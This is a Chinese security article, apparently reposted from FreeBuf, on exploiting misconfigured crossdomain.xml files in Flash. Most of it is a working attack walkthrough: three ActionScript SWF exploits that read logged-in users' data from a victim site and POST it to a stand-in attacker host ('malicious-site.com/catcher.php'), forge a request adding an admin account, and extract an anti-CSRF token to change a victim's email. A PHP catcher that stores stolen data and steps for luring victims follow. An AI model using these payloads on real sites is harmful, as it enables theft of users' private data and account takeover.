学习
实践
活动
专区
工具
TVP
写文章
专栏首页FreeBufcrossdomain.xml文件配置不当利用手法

crossdomain.xml文件配置不当利用手法

不恰当的crossdomain.xml配置对存放了敏感信息的域来说是具有很大风险的。可能导致敏感信息被窃取和请求伪造。攻击者不仅仅可以发送请求,还可以读取服务器返回的信息。这意味着攻击者可以获得已登录用户可以访问的任意信息,甚至获得anti-csrf token。

追溯历史:

这是一个很古老的漏洞了。有多老呢,已经有8年了。在计算机领域,8年真的很长很长了。下面是一个粗略的crossdomian.xml漏洞的时间表。

2006: Chris Shiflett, Julien Couvreur, 和 Jeremiah Grossman 开始公开讨论这个漏洞. 2008: Jeremiah Grossman 再一次分析这个问题。 2010: Erlend Ofedel 和 Mike Bailey 在Blackhat DC上演讲这个议题。 2011: FORTH-ICS, SAP Research, 和 UC San Diego 都发布了关于crossdomain.xml的研究报告和错误配置可能引起的安全风险。

虽然这个问题在06年就提出来了。在11年的时候有了好几个优秀的paper来研究这个问题。但是这个漏洞从来没有引起足够的重视。下面是2014年3月google相关的关键字时可以搜索到的信息。

对于crossdomain.xml配置不当的危害很多文章已经说的很清楚了。可是如何利用这个漏洞,怎样写一个exploit来证明漏洞确一直没有很好的资料。直到2013年8月Gursev Kalra写了一篇博客并分享了他的利用代码。

漏洞分析:

笼统来说,如果一个站点符合下面3个条件,就会存在crossdomain.xml引起的安全风险。

1,一个站点的根节点下存在crossdomain.xml文件。比如:www.freebuf.com/crossdomain.xml.

2,crossdomain.xml的配置是过度授权的,比如本文开头截图中的配置。

3,目标站点:freebuf.com上存在敏感数据或者可以在目标站点上执行一些敏感操作。

如果目标站点满足条件1和2,但是对方没有存储敏感信息,也不能执行一些敏感的操作。那么配置不当的crossdomain.xml也引起不了严重的危害。但是如果目标站点存在敏感信息或者具备敏感操作。那么不恰当的配置就相当于对任意站点上的恶意SWF敞开了大门。举个例子。这时候,一个www.fake-freebuf.com域下的swf可以绕过同源策略,访问www.freebuf.com域上一个授权用户可以访问的任意 信息。

漏洞利用:

终于来到最有意思的部分了。首先配置测试环境。下面是在kali linux 下配置mxmlc的环境。用来编译swf。如果你是windows系统可以直接下载flex sdk。已经有flash开发环境的同学可以略过这部分。

1,安装adobe flex:

apt-get install openjdk-6-jdk
 mkdir /opt/flex 
 wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
 unzip flex_sdk_4.6.zip 
 chmod -R a+rx /opt/flex/   >> ~/.bashrc
 chmod 755 bin/mxmlc

2,获取

mkdir /var/www/crossdomain
 mkdir ~/crossdomain  ~
 git clone https://github.com/gursev/flash-xdomain-xploit.git
 cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
 cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
 vi ~/crossdomain/XDomainXploit.as

如果没有安装git的话,可以使用wget下载:

 /var/www/crossdomain
 wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html  
  ~/crossdomain
 wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
 vi ~/crossdomain/XDomainXploit.as

3,修改actionscript,满足自己的需求。对于简单的get请求如下,只需要修改自己的victim URL和attacker URL。使用粗体标出。

// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)// XDomainXploit.aspackage { import flash.display.Sprite;

 import flash.events.*;

 import flash.net.URLRequestMethod;

 import flash.net.URLRequest;

 import flash.net.URLLoader;
public class XDomainXploit extends Sprite {  public function 
XDomainXploit() {   // Target URL from where the data is to be retrieved

   var readFrom:String = "http://www.secret-site.com/account/info";

   var readRequest:URLRequest = new URLRequest(readFrom);   var getLoader:URLLoader = new URLLoader();

   getLoader.addEventListener(Event.COMPLETE, eventHandler);   try {

    getLoader.load(readRequest);

   } catch (error:Error) {    trace("Error loading URL: " + error);

   }

  }  private function eventHandler(event:Event):void {   // URL to which retrieved data is to be sent

   var sendTo:String = "http://malicious-site.com/catcher.php"

   var sendRequest:URLRequest = new URLRequest(sendTo);

   sendRequest.method = URLRequestMethod.POST;

   sendRequest.data = event.target.data;

   var sendLoader:URLLoader = new URLLoader();   try {

    sendLoader.load(sendRequest);

   } catch (error:Error) {    trace("Error loading URL: " + error);

   }

  }

 }
}

如果需要发送post请求,并修改http header的话,可以使用下面的代码。

// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// POC Modified to send POSTs and append HTTP headers: Seth Art
// XDomainXploit.aspackage { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; import flash.net.URLRequestHeader; public class XDomainXploit3 extends Sprite {  public function XDomainXploit3() {   // Target URL from where the data is to be retrieved

   var readFrom:String = "https://www.secret-site.com/admin/add";   
   var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8");   
   var readRequest:URLRequest = new URLRequest(readFrom);   
   readRequest.method = URLRequestMethod.POST

   readRequest.data = "{\"name\":\"CSRF-Admin\",\"Group\":\"admin\",\"password\":\"password\",\"confirmPassword\":\"password\"}";   
   readRequest.requestHeaders.push(header);   var getLoader:URLLoader = new URLLoader();   getLoader.addEventListener(Event.COMPLETE, eventHandler);   
   try {    getLoader.load(readRequest);   } catch (error:Error) {    trace("Error loading URL: " + error);   }  }  
   private function eventHandler(event:Event):void {   
   // URL to which retrieved data is to be sent   var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php"   var sendRequest:URLRequest = new URLRequest(sendTo);   sendRequest.method = URLRequestMethod.POST;   sendRequest.data = event.target.data;   var sendLoader:URLLoader = new URLLoader();   try {    sendLoader.load(sendRequest);   } catch (error:Error) {    trace("Error loading URL: " + error);   }  } }}

4,使用mxmlc编译actionscript。

/opt/flex/bin/mxmlc ~/crossdomain/

5,将swf文件放在自己的web目录下.

mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain

6,创建用来接受敏感信息的文件。

vi /var/www/catcher.php

<?php

$data = file_get_contents("php://input");
$ret = file_put_contents('/tmp/thanks_for_sharing.txt', 
$data, FILE_APPEND | LOCK_EX);
if($ret === false) { die('Error writing to file');}else { 
 echo "$ret bytes written to file";}?>

7,如果没有php环境的话需要安装php。

apt-get install php5

8,设置服务器支持ssl。

这步不是必须的。但是在 secure="false"没有设置的话,我们就只能从https网站加载swf了。

下面的命令是。更奢侈的伪装是买一个有效的证书,这样用户就不会收到ssl 错误的提示了。

make-ssl-cert generate-default-snakeoil --force-overwrite
 a2enmod ssl
 a2ensite default-ssl

9,启动或者重启web服务器。

/etc/init.d/apache2 restart

10,欺骗用户访问恶意网站:

11,祈祷你的目标用户处于登陆状态。

12,收集和分析你窃取到的数据

cat /tmp/thanks_for_sharing.txt

上面两个poc的功能都是窃取数据,在分析crossdomain.xml配置不当危害的时候,我们提到某些场景可以获取到anti-csrf token来绕过csrf防御。下面是一段在真实的网站中使用的代码,先是通过访问含有csrf token的页面,从返回信息中获取到token,再发送更改绑定邮箱的请求。

// Original POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// Modified to bypass antiCSRF tokens: Seth Art (sethsec@gmail.com)
// BypassCSRFchangeEmailAddress.aspackage {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class BypassCSRFchangeEmailAddress extends Sprite {
  public function BypassCSRFchangeEmailAddress() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "https://www.secret-site.com/account/edit";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }


  private function eventHandler(event:Event):void {
   // This assigns the reponse from the first

   // request to "reponse". The antiCSRF token is
   // somwhere in this reponse
   var response:String = event.target.data;

   // This line looks for the line in the response

   //that contains the CSRF token
   var CSRF:Array = response.match(/CSRFToken.*/);

   // This line extracts the value of the CSRF token,

   // and assigns it to "token"
   var token:String = CSRF[0].split("\"")[2];

   // These next two lines create the prefix and the

   // suffix for the POST request
   var prefix:String = "CSRFToken="
   var suffix:String = "&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"

   // This section sets up a new URLRequest object and

   // sets the method to post   
   var sendTo:String = "https://www.secret-site.com/account/edit/"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;

   // This next line sets the data portion of the POST

                        // request to the "prefix" + "token" + "suffix"
   sendRequest.data = prefix.concat(token,suffix)
   
   // Time to create the URLLoader object and send the

   // POST request containing the CSRF token
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }}
文章分享自微信公众号:
FreeBuf

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:子夏
原始发表时间:2014-07-03
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • [CodeIgniter4]-利用配置文件开始工作

    每一个项目,都需要一种方法来定义不同的全局配置项,而这通常是借助配置文件来实现的。 而配置文件,一般来说,是通过声明一个将所有的配置项作为公开属性的类,来实现这...

    landv
  • nginx php-fpm 配置不当,引起的php文件无法执行

    网站是用nginx服务的。 网上很多情况是因为nginx配置中 location ~ .php$ { # root html; ...

    conanma
  • 利用WireGuard使用NordV**配置文件

    它旨在比 IPsec更快、更简单、更精简和更有用,同时避免令人头疼的问题,它旨在比 OpenVPN 具有更高的性能

    小生观察室
  • ini配置文件以及利用python管理ini文件

    在python里面有一个叫做configparser的module,可以用来操作ini文件,从而方便进行配置文件的管理工作.

    qsjs
  • 文件上传漏洞攻击与防范方法[通俗易懂]

    文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,We...

    全栈程序员站长
  • HTTP响应头中可以使用的各种响应头字段

    大佬教程:https://blog.csdn.net/flang6157/article/details/103287119

    华创信息技术
  • 安全技术|利用OpenV**配置文件反制的武器化探索

    无意中看到一篇18年的老文,作者描述了一种利用OV**文件(即OpenV**的配置文件)创建一个反弹Shell的操作。核心在于官方声明的up命令,该命令常用于启...

    C4rpeDime
  • 漏洞库(值得收藏)

    风险等级:高危 漏洞描述: SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验,即没有进行有效地特殊字符过滤,导致网站服...

    勤奋的思远
  • 巧用HTTP 响应头部提高 Web 安全性

    在 Web 服务器做出响应时,为了提高安全性,在 HTTP 响应头中可以使用的各种响应头字段。 1、X-Frame-Options 该响应头中用于控制是否在浏览...

    小小科
  • c++ 开发中利用yaml-cpp读写yaml配置文件

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/briblue/article/details/895...

    Frank909
  • 分析Silverlight跨域调用

    分析Silverlight跨域调用 在silverlight开发的过程中不免要遇到跨域的问题,在这里以跨域调用Webservice为例子来分析一下跨域的问题。...

    用户1172164
  • 关于项目里面的硬核漏洞(找不到漏洞看这里)

    以下漏洞过于硬核又比较相对容易挖掘,毕竟我是实习两年半的低危文档工程师。(可能写的不太全)适合在渗透里面没有找到漏洞,以防尴尬。

    Khan安全团队
  • 技术干货|如何高效破解挖矿攻击难题?

    近年来,全球网络安全形势日趋严峻,APT攻击、勒索病毒、挖矿木马、供应链攻击等各种新型攻击手段层出不穷,严重影响着千行百业数字化转型的进程。

    腾讯安全
  • 【漏洞加固】常见Web漏洞修复建议

    Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数...

    腾讯云-MSS服务
  • SRC混子的漏洞挖掘之道

    还是那句老话,渗透测试的本质是信息收集,对于没有0day的弱鸡选手来说,挖SRC感觉更像是对企业的资产梳理,我们往往需要花很长的时间去做信息收集,收集与此公司相...

    Power7089
  • 目录遍历小总结。

    目录遍历漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步...

    Power7089
  • 常规web渗透测试漏洞描述及修复建议

    apache一些样例文件没有删除,可能存在cookie、session伪造,进行后台登录操作

    C4rpeDime
  • 常规36个WEB渗透测试漏洞描述及修复方法--很详细

      apache一些样例文件没有删除,可能存在cookie、session伪造,进行后台登录操作

    Power7089
  • 谈谈不为人知的 xray 子域名

    不管是白帽子用于漏洞挖掘还是企业进行日常安全巡检,web 漏扫首先要问题的问题是解决扫描目标,并找准目标探测入口。

    Timeline Sec

扫码关注腾讯云开发者

领取腾讯云代金券